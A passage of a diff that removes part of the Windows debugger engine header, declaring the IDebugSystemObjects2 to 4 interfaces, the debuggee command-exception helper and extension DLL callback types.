- STDMETHOD(GetThreadIdByProcessor)(
- THIS_
- __in ULONG Processor,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current threads
- // system data structure. When kernel debugging
- // this is the offset of the KTHREAD.
- // When user debugging it is the offset
- // of the current TEB.
- STDMETHOD(GetCurrentThreadDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger thread ID for the given
- // system thread data structure.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByDataOffset)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current threads
- // TEB. In user mode this is equivalent to
- // the threads data offset.
- STDMETHOD(GetCurrentThreadTeb)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger thread ID for the given TEB.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByTeb)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the system unique ID for the current thread.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetCurrentThreadSystemId)(
- THIS_
- __out PULONG SysId
- ) PURE;
- // Looks up a debugger thread ID for the given
- // system thread ID.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdBySystemId)(
- THIS_
- __in ULONG SysId,
- __out PULONG Id
- ) PURE;
- // Returns the handle of the current thread.
- // In kernel mode the value returned is the
- // index of the processor the thread is
- // executing on plus one.
- STDMETHOD(GetCurrentThreadHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- // Looks up a debugger thread ID for the given handle.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByHandle)(
- THIS_
- __in ULONG64 Handle,
- __out PULONG Id
- ) PURE;
-
- // Currently kernel mode sessions will only have
- // a single process representing kernel space.
- STDMETHOD(GetNumberProcesses)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetProcessIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount_opt(Count) PULONG Ids,
- __out_ecount_opt(Count) PULONG SysIds
- ) PURE;
- // Returns the offset of the current processs
- // system data structure. When kernel debugging
- // this is the offset of the KPROCESS of
- // the process that owns the current thread.
- // When user debugging it is the offset
- // of the current PEB.
- STDMETHOD(GetCurrentProcessDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger process ID for the given
- // system process data structure.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdByDataOffset)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current processs
- // PEB. In user mode this is equivalent to
- // the processs data offset.
- STDMETHOD(GetCurrentProcessPeb)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger process ID for the given PEB.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdByPeb)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the system unique ID for the current process.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetCurrentProcessSystemId)(
- THIS_
- __out PULONG SysId
- ) PURE;
- // Looks up a debugger process ID for the given
- // system process ID.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdBySystemId)(
- THIS_
- __in ULONG SysId,
- __out PULONG Id
- ) PURE;
- // Returns the handle of the current process.
- // In kernel mode this is the kernel processs
- // artificial handle used for symbol operations
- // and so can only be used with dbghelp APIs.
- STDMETHOD(GetCurrentProcessHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- // Looks up a debugger process ID for the given handle.
- STDMETHOD(GetProcessIdByHandle)(
- THIS_
- __in ULONG64 Handle,
- __out PULONG Id
- ) PURE;
- // Retrieve the name of the executable loaded
- // in the process. This may fail if no executable
- // was identified.
- STDMETHOD(GetCurrentProcessExecutableName)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ExeSize
- ) PURE;
-
- // IDebugSystemObjects2.
-
- // Return the number of seconds that the current
- // process has been running.
- STDMETHOD(GetCurrentProcessUpTime)(
- THIS_
- __out PULONG UpTime
- ) PURE;
-
- // During kernel sessions the debugger retrieves
- // some information from the system thread and process
- // running on the current processor. For example,
- // the debugger will retrieve virtual memory translation
- // information for when the debugger needs to
- // carry out its own virtual to physical translations.
- // Occasionally it can be interesting to perform
- // similar operations but on a process which isnt
- // currently running. The follow methods allow a caller
- // to override the data offsets used by the debugger
- // so that other system threads and processes can
- // be used instead. These values are defaulted to
- // the thread and process running on the current
- // processor each time the debuggee executes or
- // the current processor changes.
- // The thread and process settings are independent so
- // it is possible to refer to a thread in a process
- // other than the current process and vice versa.
- // Setting an offset of zero will reload the
- // default value.
- STDMETHOD(GetImplicitThreadDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(SetImplicitThreadDataOffset)(
- THIS_
- __in ULONG64 Offset
- ) PURE;
- STDMETHOD(GetImplicitProcessDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(SetImplicitProcessDataOffset)(
- THIS_
- __in ULONG64 Offset
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugSystemObjects3
-DECLARE_INTERFACE_(IDebugSystemObjects3, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSystemObjects.
-
- // In user mode debugging the debugger
- // tracks all threads and processes and
- // enumerates them through the following
- // methods. When enumerating threads
- // the threads are enumerated for the current
- // process.
- // Kernel mode debugging currently is
- // limited to enumerating only the threads
- // assigned to processors, not all of
- // the threads in the system. Process
- // enumeration is limited to a single
- // virtual process representing kernel space.
-
- // Returns the ID of the thread on which
- // the last event occurred.
- STDMETHOD(GetEventThread)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetEventProcess)(
- THIS_
- __out PULONG Id
- ) PURE;
-
- // Controls implicit thread used by the
- // debug engine. The debuggers current
- // thread is just a piece of data held
- // by the debugger for calls which use
- // thread-specific information. In those
- // calls the debuggers current thread is used.
- // The debuggers current thread is not related
- // to any system thread attribute.
- // IDs for threads are small integer IDs
- // maintained by the engine. They are not
- // related to system thread IDs.
- STDMETHOD(GetCurrentThreadId)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(SetCurrentThreadId)(
- THIS_
- __in ULONG Id
- ) PURE;
- // The current process is the process
- // that owns the current thread.
- STDMETHOD(GetCurrentProcessId)(
- THIS_
- __out PULONG Id
- ) PURE;
- // Setting the current process automatically
- // sets the current thread to the thread that
- // was last current in that process.
- STDMETHOD(SetCurrentProcessId)(
- THIS_
- __in ULONG Id
- ) PURE;
-
- // Gets the number of threads in the current process.
- STDMETHOD(GetNumberThreads)(
- THIS_
- __out PULONG Number
- ) PURE;
- // Gets thread count information for all processes
- // and the largest number of threads in a single process.
- STDMETHOD(GetTotalNumberThreads)(
- THIS_
- __out PULONG Total,
- __out PULONG LargestProcess
- ) PURE;
- STDMETHOD(GetThreadIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount_opt(Count) PULONG Ids,
- __out_ecount_opt(Count) PULONG SysIds
- ) PURE;
- // Gets the debugger ID for the thread
- // currently running on the given
- // processor. Only works in kernel
- // debugging.
- STDMETHOD(GetThreadIdByProcessor)(
- THIS_
- __in ULONG Processor,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current threads
- // system data structure. When kernel debugging
- // this is the offset of the KTHREAD.
- // When user debugging it is the offset
- // of the current TEB.
- STDMETHOD(GetCurrentThreadDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger thread ID for the given
- // system thread data structure.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByDataOffset)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current threads
- // TEB. In user mode this is equivalent to
- // the threads data offset.
- STDMETHOD(GetCurrentThreadTeb)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger thread ID for the given TEB.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByTeb)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the system unique ID for the current thread.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetCurrentThreadSystemId)(
- THIS_
- __out PULONG SysId
- ) PURE;
- // Looks up a debugger thread ID for the given
- // system thread ID.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdBySystemId)(
- THIS_
- __in ULONG SysId,
- __out PULONG Id
- ) PURE;
- // Returns the handle of the current thread.
- // In kernel mode the value returned is the
- // index of the processor the thread is
- // executing on plus one.
- STDMETHOD(GetCurrentThreadHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- // Looks up a debugger thread ID for the given handle.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByHandle)(
- THIS_
- __in ULONG64 Handle,
- __out PULONG Id
- ) PURE;
-
- // Currently kernel mode sessions will only have
- // a single process representing kernel space.
- STDMETHOD(GetNumberProcesses)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetProcessIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount_opt(Count) PULONG Ids,
- __out_ecount_opt(Count) PULONG SysIds
- ) PURE;
- // Returns the offset of the current processs
- // system data structure. When kernel debugging
- // this is the offset of the KPROCESS of
- // the process that owns the current thread.
- // When user debugging it is the offset
- // of the current PEB.
- STDMETHOD(GetCurrentProcessDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger process ID for the given
- // system process data structure.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdByDataOffset)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current processs
- // PEB. In user mode this is equivalent to
- // the processs data offset.
- STDMETHOD(GetCurrentProcessPeb)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger process ID for the given PEB.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdByPeb)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the system unique ID for the current process.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetCurrentProcessSystemId)(
- THIS_
- __out PULONG SysId
- ) PURE;
- // Looks up a debugger process ID for the given
- // system process ID.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdBySystemId)(
- THIS_
- __in ULONG SysId,
- __out PULONG Id
- ) PURE;
- // Returns the handle of the current process.
- // In kernel mode this is the kernel processs
- // artificial handle used for symbol operations
- // and so can only be used with dbghelp APIs.
- STDMETHOD(GetCurrentProcessHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- // Looks up a debugger process ID for the given handle.
- STDMETHOD(GetProcessIdByHandle)(
- THIS_
- __in ULONG64 Handle,
- __out PULONG Id
- ) PURE;
- // Retrieve the name of the executable loaded
- // in the process. This may fail if no executable
- // was identified.
- STDMETHOD(GetCurrentProcessExecutableName)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ExeSize
- ) PURE;
-
- // IDebugSystemObjects2.
-
- // Return the number of seconds that the current
- // process has been running.
- STDMETHOD(GetCurrentProcessUpTime)(
- THIS_
- __out PULONG UpTime
- ) PURE;
-
- // During kernel sessions the debugger retrieves
- // some information from the system thread and process
- // running on the current processor. For example,
- // the debugger will retrieve virtual memory translation
- // information for when the debugger needs to
- // carry out its own virtual to physical translations.
- // Occasionally it can be interesting to perform
- // similar operations but on a process which isnt
- // currently running. The follow methods allow a caller
- // to override the data offsets used by the debugger
- // so that other system threads and processes can
- // be used instead. These values are defaulted to
- // the thread and process running on the current
- // processor each time the debuggee executes or
- // the current processor changes.
- // The thread and process settings are independent so
- // it is possible to refer to a thread in a process
- // other than the current process and vice versa.
- // Setting an offset of zero will reload the
- // default value.
- STDMETHOD(GetImplicitThreadDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(SetImplicitThreadDataOffset)(
- THIS_
- __in ULONG64 Offset
- ) PURE;
- STDMETHOD(GetImplicitProcessDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(SetImplicitProcessDataOffset)(
- THIS_
- __in ULONG64 Offset
- ) PURE;
-
- // IDebugSystemObjects3.
-
- STDMETHOD(GetEventSystem)(
- THIS_
- __out PULONG Id
- ) PURE;
-
- STDMETHOD(GetCurrentSystemId)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(SetCurrentSystemId)(
- THIS_
- __in ULONG Id
- ) PURE;
-
- STDMETHOD(GetNumberSystems)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetSystemIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Ids
- ) PURE;
- STDMETHOD(GetTotalNumberThreadsAndProcesses)(
- THIS_
- __out PULONG TotalThreads,
- __out PULONG TotalProcesses,
- __out PULONG LargestProcessThreads,
- __out PULONG LargestSystemThreads,
- __out PULONG LargestSystemProcesses
- ) PURE;
- STDMETHOD(GetCurrentSystemServer)(
- THIS_
- __out PULONG64 Server
- ) PURE;
- STDMETHOD(GetSystemByServer)(
- THIS_
- __in ULONG64 Server,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetCurrentSystemServerName)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugSystemObjects4
-DECLARE_INTERFACE_(IDebugSystemObjects4, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSystemObjects.
-
- // In user mode debugging the debugger
- // tracks all threads and processes and
- // enumerates them through the following
- // methods. When enumerating threads
- // the threads are enumerated for the current
- // process.
- // Kernel mode debugging currently is
- // limited to enumerating only the threads
- // assigned to processors, not all of
- // the threads in the system. Process
- // enumeration is limited to a single
- // virtual process representing kernel space.
-
- // Returns the ID of the thread on which
- // the last event occurred.
- STDMETHOD(GetEventThread)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetEventProcess)(
- THIS_
- __out PULONG Id
- ) PURE;
-
- // Controls implicit thread used by the
- // debug engine. The debuggers current
- // thread is just a piece of data held
- // by the debugger for calls which use
- // thread-specific information. In those
- // calls the debuggers current thread is used.
- // The debuggers current thread is not related
- // to any system thread attribute.
- // IDs for threads are small integer IDs
- // maintained by the engine. They are not
- // related to system thread IDs.
- STDMETHOD(GetCurrentThreadId)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(SetCurrentThreadId)(
- THIS_
- __in ULONG Id
- ) PURE;
- // The current process is the process
- // that owns the current thread.
- STDMETHOD(GetCurrentProcessId)(
- THIS_
- __out PULONG Id
- ) PURE;
- // Setting the current process automatically
- // sets the current thread to the thread that
- // was last current in that process.
- STDMETHOD(SetCurrentProcessId)(
- THIS_
- __in ULONG Id
- ) PURE;
-
- // Gets the number of threads in the current process.
- STDMETHOD(GetNumberThreads)(
- THIS_
- __out PULONG Number
- ) PURE;
- // Gets thread count information for all processes
- // and the largest number of threads in a single process.
- STDMETHOD(GetTotalNumberThreads)(
- THIS_
- __out PULONG Total,
- __out PULONG LargestProcess
- ) PURE;
- STDMETHOD(GetThreadIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount_opt(Count) PULONG Ids,
- __out_ecount_opt(Count) PULONG SysIds
- ) PURE;
- // Gets the debugger ID for the thread
- // currently running on the given
- // processor. Only works in kernel
- // debugging.
- STDMETHOD(GetThreadIdByProcessor)(
- THIS_
- __in ULONG Processor,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current threads
- // system data structure. When kernel debugging
- // this is the offset of the KTHREAD.
- // When user debugging it is the offset
- // of the current TEB.
- STDMETHOD(GetCurrentThreadDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger thread ID for the given
- // system thread data structure.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByDataOffset)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current threads
- // TEB. In user mode this is equivalent to
- // the threads data offset.
- STDMETHOD(GetCurrentThreadTeb)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger thread ID for the given TEB.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByTeb)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the system unique ID for the current thread.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetCurrentThreadSystemId)(
- THIS_
- __out PULONG SysId
- ) PURE;
- // Looks up a debugger thread ID for the given
- // system thread ID.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdBySystemId)(
- THIS_
- __in ULONG SysId,
- __out PULONG Id
- ) PURE;
- // Returns the handle of the current thread.
- // In kernel mode the value returned is the
- // index of the processor the thread is
- // executing on plus one.
- STDMETHOD(GetCurrentThreadHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- // Looks up a debugger thread ID for the given handle.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByHandle)(
- THIS_
- __in ULONG64 Handle,
- __out PULONG Id
- ) PURE;
-
- // Currently kernel mode sessions will only have
- // a single process representing kernel space.
- STDMETHOD(GetNumberProcesses)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetProcessIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount_opt(Count) PULONG Ids,
- __out_ecount_opt(Count) PULONG SysIds
- ) PURE;
- // Returns the offset of the current processs
- // system data structure. When kernel debugging
- // this is the offset of the KPROCESS of
- // the process that owns the current thread.
- // When user debugging it is the offset
- // of the current PEB.
- STDMETHOD(GetCurrentProcessDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger process ID for the given
- // system process data structure.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdByDataOffset)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current processs
- // PEB. In user mode this is equivalent to
- // the processs data offset.
- STDMETHOD(GetCurrentProcessPeb)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger process ID for the given PEB.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdByPeb)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the system unique ID for the current process.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetCurrentProcessSystemId)(
- THIS_
- __out PULONG SysId
- ) PURE;
- // Looks up a debugger process ID for the given
- // system process ID.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdBySystemId)(
- THIS_
- __in ULONG SysId,
- __out PULONG Id
- ) PURE;
- // Returns the handle of the current process.
- // In kernel mode this is the kernel processs
- // artificial handle used for symbol operations
- // and so can only be used with dbghelp APIs.
- STDMETHOD(GetCurrentProcessHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- // Looks up a debugger process ID for the given handle.
- STDMETHOD(GetProcessIdByHandle)(
- THIS_
- __in ULONG64 Handle,
- __out PULONG Id
- ) PURE;
- // Retrieve the name of the executable loaded
- // in the process. This may fail if no executable
- // was identified.
- STDMETHOD(GetCurrentProcessExecutableName)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ExeSize
- ) PURE;
-
- // IDebugSystemObjects2.
-
- // Return the number of seconds that the current
- // process has been running.
- STDMETHOD(GetCurrentProcessUpTime)(
- THIS_
- __out PULONG UpTime
- ) PURE;
-
- // During kernel sessions the debugger retrieves
- // some information from the system thread and process
- // running on the current processor. For example,
- // the debugger will retrieve virtual memory translation
- // information for when the debugger needs to
- // carry out its own virtual to physical translations.
- // Occasionally it can be interesting to perform
- // similar operations but on a process which isnt
- // currently running. The follow methods allow a caller
- // to override the data offsets used by the debugger
- // so that other system threads and processes can
- // be used instead. These values are defaulted to
- // the thread and process running on the current
- // processor each time the debuggee executes or
- // the current processor changes.
- // The thread and process settings are independent so
- // it is possible to refer to a thread in a process
- // other than the current process and vice versa.
- // Setting an offset of zero will reload the
- // default value.
- STDMETHOD(GetImplicitThreadDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(SetImplicitThreadDataOffset)(
- THIS_
- __in ULONG64 Offset
- ) PURE;
- STDMETHOD(GetImplicitProcessDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(SetImplicitProcessDataOffset)(
- THIS_
- __in ULONG64 Offset
- ) PURE;
-
- // IDebugSystemObjects3.
-
- STDMETHOD(GetEventSystem)(
- THIS_
- __out PULONG Id
- ) PURE;
-
- STDMETHOD(GetCurrentSystemId)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(SetCurrentSystemId)(
- THIS_
- __in ULONG Id
- ) PURE;
-
- STDMETHOD(GetNumberSystems)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetSystemIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Ids
- ) PURE;
- STDMETHOD(GetTotalNumberThreadsAndProcesses)(
- THIS_
- __out PULONG TotalThreads,
- __out PULONG TotalProcesses,
- __out PULONG LargestProcessThreads,
- __out PULONG LargestSystemThreads,
- __out PULONG LargestSystemProcesses
- ) PURE;
- STDMETHOD(GetCurrentSystemServer)(
- THIS_
- __out PULONG64 Server
- ) PURE;
- STDMETHOD(GetSystemByServer)(
- THIS_
- __in ULONG64 Server,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetCurrentSystemServerName)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- // IDebugSystemObjects4.
-
- STDMETHOD(GetCurrentProcessExecutableNameWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ExeSize
- ) PURE;
-
- STDMETHOD(GetCurrentSystemServerNameWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// Debugger/debuggee communication.
-//
-// A distinguished exception, DBG_COMMAND_EXCEPTION (0x40010009),
-// can be used by a debuggee to communicate with the debugger.
-// The arguments of the exception must be:
-// 1. Exception ID.
-// 2. Command code.
-// 3. Size of argument.
-// 4. Pointer to argument.
-//
-// The arguments depend on the command code.
-//
-//----------------------------------------------------------------------------
-
-#define DEBUG_COMMAND_EXCEPTION_ID 0xdbe00dbe
-
-// Invalid command code.
-#define DEBUG_CMDEX_INVALID 0x00000000
-
-//
-// The debugger can collect strings for display at the
-// next event. A debuggee can use this to register information
-// about a program situation before places where an event
-// may occur, such as a risky operation or assertion.
-// The strings are automatically flushed on the next
-// event continuation. Strings are kept on a per-thread basis.
-//
-// When adding, the argument is the string to add.
-// Reset has no arguments and clears all strings.
-//
-#define DEBUG_CMDEX_ADD_EVENT_STRING 0x00000001
-#define DEBUG_CMDEX_RESET_EVENT_STRINGS 0x00000002
-
-#ifndef DEBUG_NO_IMPLEMENTATION
-
-FORCEINLINE void
-DebugCommandException(ULONG Command, ULONG ArgSize, PVOID Arg)
-{
- ULONG_PTR ExArgs[4];
-
- ExArgs[0] = DEBUG_COMMAND_EXCEPTION_ID;
- ExArgs[1] = Command;
- ExArgs[2] = ArgSize;
- ExArgs[3] = (ULONG_PTR)Arg;
- RaiseException(DBG_COMMAND_EXCEPTION, 0, 4, ExArgs);
-}
-
-#endif // #ifndef DEBUG_NO_IMPLEMENTATION
-
-//----------------------------------------------------------------------------
-//
-// Extension callbacks.
-//
-//----------------------------------------------------------------------------
-
-// Returns a version with the major version in
-// the high word and the minor version in the low word.
-#define DEBUG_EXTENSION_VERSION(Major, Minor) \
- ((((Major) & 0xffff) << 16) | ((Minor) & 0xffff))
-
-//
-// Descriptive flags returned from extension initialization.
-//
-
-// Extension has a !help command which can give
-// per-command help.
-#define DEBUG_EXTINIT_HAS_COMMAND_HELP 0x00000001
-
-// Initialization routine. Called once when the extension DLL
-// is loaded. Returns a version and returns flags detailing
-// overall qualities of the extension DLL.
-// A session may or may not be active at the time the DLL
-// is loaded so initialization routines should not expect
-// to be able to query session information.
-typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_INITIALIZE)
- (__out PULONG Version, __out PULONG Flags);
-// Exit routine. Called once just before the extension DLL is
-// unloaded. As with initialization, a session may or
-// may not be active at the time of the call.
-typedef void (CALLBACK* PDEBUG_EXTENSION_UNINITIALIZE)
- (void);
-
-// A debuggee has been discovered for the session. It
-// is not necessarily halted.
-#define DEBUG_NOTIFY_SESSION_ACTIVE 0x00000000
-// The session no longer has a debuggee.
-#define DEBUG_NOTIFY_SESSION_INACTIVE 0x00000001
-// The debuggee is halted and accessible.
-#define DEBUG_NOTIFY_SESSION_ACCESSIBLE 0x00000002
-// The debuggee is running or inaccessible.
-#define DEBUG_NOTIFY_SESSION_INACCESSIBLE 0x00000003
-
-typedef void (CALLBACK* PDEBUG_EXTENSION_NOTIFY)
- (__in ULONG Notify, __in ULONG64 Argument);
-
-// A PDEBUG_EXTENSION_CALL function can return this code
-// to indicate that it was unable to handle the request
-// and that the search for an extension function should
-// continue down the extension DLL chain.
-// Taken from STATUS_VALIDATE_CONTINUE.
-#define DEBUG_EXTENSION_CONTINUE_SEARCH \
- HRESULT_FROM_NT(0xC0000271L)
-
-// A PDEBUG_EXTENSION_CALL function can return this code
-// to indicate that the engine should unload and reload
-// the extension binary. This allows extensions to implement
-// auto-update functionality.
-#define DEBUG_EXTENSION_RELOAD_EXTENSION \
- HRESULT_FROM_NT(0xC00000EEL)
-
-// Every routine in an extension DLL has the following prototype.
-// The extension may be called from multiple clients so it
-// should not cache the client value between calls.
-typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_CALL)
- (__in PDEBUG_CLIENT Client, __in_opt PCSTR Args);
-
-//
-// KnownStructOutput[Ex] flags
-//
-
-// Return names of supported structs.
-#define DEBUG_KNOWN_STRUCT_GET_NAMES 1
-// Return value output for type.
-#define DEBUG_KNOWN_STRUCT_GET_SINGLE_LINE_OUTPUT 2
-// Return S_OK if suppressing type name.
-#define DEBUG_KNOWN_STRUCT_SUPPRESS_TYPE_NAME 3
-
-// Extensions may export this callback in order to dump structs that
-// are well known to them. The engine calls this to inject extension
-// output into dt's struct dump.
-typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_KNOWN_STRUCT)
- (__in ULONG Flags,
- __in ULONG64 Offset,
- __in_opt PSTR TypeName,
- __out_ecount_opt(*BufferChars) PSTR Buffer,
- __inout_opt PULONG BufferChars);
-typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_KNOWN_STRUCT_EX)
- (__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __in ULONG64 Offset,
- __in_opt PCSTR TypeName,
- __out_ecount_opt(*BufferChars) PSTR Buffer,
- __inout_opt PULONG BufferChars);
-
-// Backwards compatibility with old, incorrect name.
-typedef PDEBUG_EXTENSION_KNOWN_STRUCT PDEBUG_ENTENSION_KNOWNSTRUCT;
-
-//
-// Extensions can provide pseudo-register values that
-// operate similiarly to the debugger's built-in $teb, etc.
-//
-
-#define DEBUG_EXT_QVALUE_DEFAULT 0x00000000
-
-typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_QUERY_VALUE_NAMES)
- (__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __out_ecount(BufferChars) PWSTR Buffer,
- __in ULONG BufferChars,
- __out PULONG BufferNeeded);
-
-#define DEBUG_EXT_PVALUE_DEFAULT 0x00000000
-
-#define DEBUG_EXT_PVTYPE_IS_VALUE 0x00000000
-#define DEBUG_EXT_PVTYPE_IS_POINTER 0x00000001
-
-typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_PROVIDE_VALUE)
- (__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __in PCWSTR Name,
- __out PULONG64 Value,
- __out PULONG64 TypeModBase,
- __out PULONG TypeId,
- __out PULONG TypeFlags);
-
-//----------------------------------------------------------------------------
-//
-// Extension functions.
-//
-// Extension functions differ from extension callbacks in that
-// they are arbitrary functions exported from an extension DLL
-// for other code callers instead of for human invocation from
-// debugger commands. Extension function pointers are retrieved
-// for an extension DLL with IDebugControl::GetExtensionFunction.
-//
